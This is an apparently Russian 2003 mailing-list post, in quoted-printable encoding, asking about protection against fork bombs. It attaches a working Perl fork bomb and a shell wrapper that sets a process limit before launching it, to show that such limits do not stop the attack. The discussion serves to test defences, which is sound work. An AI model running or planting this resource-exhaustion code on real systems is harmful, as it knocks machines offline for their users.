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Date: Wed, 5 Mar 2003 22:20:53 +0300
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From: mithraen@freesource.info (Denis Smirnov)
Subject: [Comm] anti fork-bomb
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=E2=D5=C4=C5=D4 =CC=C9 =CB=CF=C7=C4=C1-=CE=C9=C2=D5=C4=D8 =D7 =ED=C1=D3=D4=
=C5=D2=C5 anti fork-bomb =D0=C1=D4=DE?

=E4=C5=CC=CF =D7 =D4=CF=CD, =DE=D4=CF =CC=C9=CD=C9=D4=C1 =CE=C1 =CB=CF=CC=
=C9=DE=C5=D3=D4=D7=CF =D0=D2=CF=C3=C5=D3=D3=CF=D7 =D0=D2=CF=D4=C9=D7 =D0=D2=
=C1=D7=C9=CC=D8=CE=CF
=D3=C4=C5=CC=C1=CE=CF=C7=CF fork-bomb =CE=C5=C4=CF=D3=D4=C1=D4=CF=DE=CE=CF.=
 =F0=CF=D4=CF=CD=D5 =CB=C1=CB =C5=D3=CC=C9 =D7=D3=A3 =D3=C4=C5=CC=C1=CE=CF =
=D0=D2=C1=D7=C9=CC=D8=CE=CF,
=D4=CF =CB=CF=CC=C9=DE=C5=D3=D4=D7=CF =CE=C5=D0=D2=C5=D2=D9=D7=CE=CF =D2=C1=
=C2=CF=D4=C1=C0=DD=C9=C8 =D0=D2=CF=C3=C5=D3=D3=CF=D7 =D0=CF=C4=C4=C5=D2=D6=
=C9=D7=C1=C5=D4=D3=D1 =CE=C1 =CF=C4=CE=CF=CD
=D5=D2=CF=D7=CE=C5, =C9 =CF=D3=CE=CF=D7=CE=C1=D1 =C9=C4=C5=D1 =D7 =D4=CF=CD=
, =DE=D4=CF=C2=D9 =D0=CF=D6=C9=D2=C1=D4=D8 =D2=C5=D3=D5=D2=D3=D9 =CD=C1=DB=
=C9=CE=D9 =C2=CF=CC=D8=DB=C9=CD
=CB=CF=CC=C9=DE=C5=D3=D4=D7=CF=CD fork'=CF=D7.

=E5=C4=C9=CE=D3=D4=D7=C5=CE=CE=D9=CA =D3=D0=CF=D3=CF=C2, =CB=CF=D4=CF=D2=D9=
=CA =D1 =D3=C5=C2=C5 =D0=D2=C5=C4=D3=D4=C1=D7=CC=D1=C0 =C4=CC=D1 =C2=CF=D2=
=D8=C2=D9 =D3 =D4=C1=CB=C9=CD=C9
=C2=CF=CD=C2=C1=CD=C9 -- =CF=C7=D2=C1=CE=C9=DE=C5=CE=C9=C5 =D0=CF =CB=CF=CC=
=C9=DE=C5=D3=D4=D7=D5 fork'=CF=D7 =D7 =D3=C5=CB=D5=CE=C4=D5 =CE=C1 =D0=CF=
=CC=D8=DA=CF=D7=C1=D4=C5=CC=D1.

=F0=D2=CF=D3=D4=CF=CA =D0=D2=C9=CD=C5=D2 =D0=CF=C4=CF=C2=CE=CF=CA =C2=CF=CD=
=C2=D9 =D7 =C1=D4=D4=C1=DE=C5 -- =D5 =CD=C5=CE=D1 =D0=CF=D3=CC=C5 =DC=D4=CF=
=C7=CF
=DA=C1=CC=CF=C7=C9=CE=C9=D4=D8=D3=D1 =D7 =D3=C9=D3=D4=C5=CD=D5 =D7=C5=D3=D8=
=CD=C1 =D4=D1=D6=CB=CF.

--=20
=F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD, =E4=C5=CE=C9=D3

http://freesource.info

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#!/usr/bin/perl -w

my $can_fork =3D 1;		# =ED=CF=D6=CE=CF =CC=C9 =C4=C5=CC=C1=D4=D8 =D0=CF=D7=
=D4=CF=D2=CE=D9=CA fork?
my $num_processes =3D shift || 32; # =CB=CF=CC=C9=DE=C5=D3=D4=D7=CF =D0=D2=
=CF=C3=C5=D3=D3=CF=D7

# =EF=C2=D2=C1=C2=CF=D4=CB=C1 =DA=C1=D7=C5=D2=DB=C5=CE=C9=D1 =D2=C5=C2=A3=
=CE=CB=C1
sub REAPER {
    wait;
    $can_fork =3D 1;
    $SIG{CHLD} =3D \&REAPER;  # loathe sysV
}

# =E4=C5=CC=C1=C5=CD fork, =D0=CF=D4=CF=CD chikd =DA=C1=D7=C5=D2=DB=C1=C5=
=D4=D3=D1, =C1 parent =C4=C5=CC=C1=C5=D4 =CE=CF=D7=D9=CA fork
sub eat_resources()
{
    while( 1 )
    {
	if( $can_fork )
	{
	    $can_fork =3D 0;
	    exit unless fork();
	}
    }
}


# =EF=D3=CE=CF=D7=CE=C1=D1 =D0=D2=CF=C7=D2=C1=CD=CD=C1 -- =C4=C5=CC=C1=C5=
=CD =D5=CB=C1=DA=C1=CE=CF=C5 =CB=CF=CC=C9=DE=C5=D3=D4=D7=CF fork'=CF=D7, =
=D7 =CB=C1=D6=C4=CF=CD =C9=DA
# =CB=CF=D4=CF=D2=D9=C8 =DA=C1=D0=D5=D3=CB=C1=C5=CD =D0=CF=D6=C9=D2=C1=CC=
=CB=D5 =D2=C5=D3=D5=D2=D3=CF=D7
for( my $i =3D 0; $i < $num_processes; $i++ )
{
    if( !fork() )
    {
	$SIG{CHLD} =3D \&REAPER;
	eat_resources();
    }
}

while( 1 )
{
}

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#!/bin/sh
ulimit -u 128

./fork-bomb

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